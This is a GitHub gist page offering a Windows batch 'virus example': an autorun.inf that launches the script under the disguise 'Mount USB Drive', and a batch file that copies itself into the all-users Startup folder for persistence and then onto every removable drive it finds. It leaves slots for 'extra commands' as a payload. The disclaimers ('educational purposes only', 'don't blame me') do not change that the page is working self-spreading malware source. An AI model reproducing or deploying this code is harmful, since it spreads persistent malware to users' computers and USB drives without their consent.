Last active
February 12, 2016 18:51
-
-
Save SYZYGY-DEV333/b798b46814f41a39c8d4 to your computer and use it in GitHub Desktop.
Virus example in Batch. DO NOT USE FOR MALICIOUS PURPOSES.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [autorun] | |
| open=drive-info.bat | |
| action=Mount USB Drive |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| :: This is an example of a virus in Batch. It copies itself to the startup folder and any drive plugged in. | |
| :: DO NOT USE FOR MALICIOUS PURPOSES. THIS IS FOR EDUCATIONAL PURPOSES ONLY. | |
| :: BSD Lisence. Also, don't come after me if someone does something bad ;-) | |
| copy drive-info.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | |
| copy autorun.inf "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | |
| :: extra commands here | |
| for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do ( | |
| for %%c in (%%b) do ( | |
| for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do ( | |
| if %%d equ Removable ( | |
| copy drive-info.bat "%%c" | |
| copy autorun.inf "%%c" | |
| ) | |
| ) | |
| ) | |
| ) | |
| :: extra commands here |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
PLZ DONT DO NUTHIN BAD
and sure as HELL don't blame me if you do. XD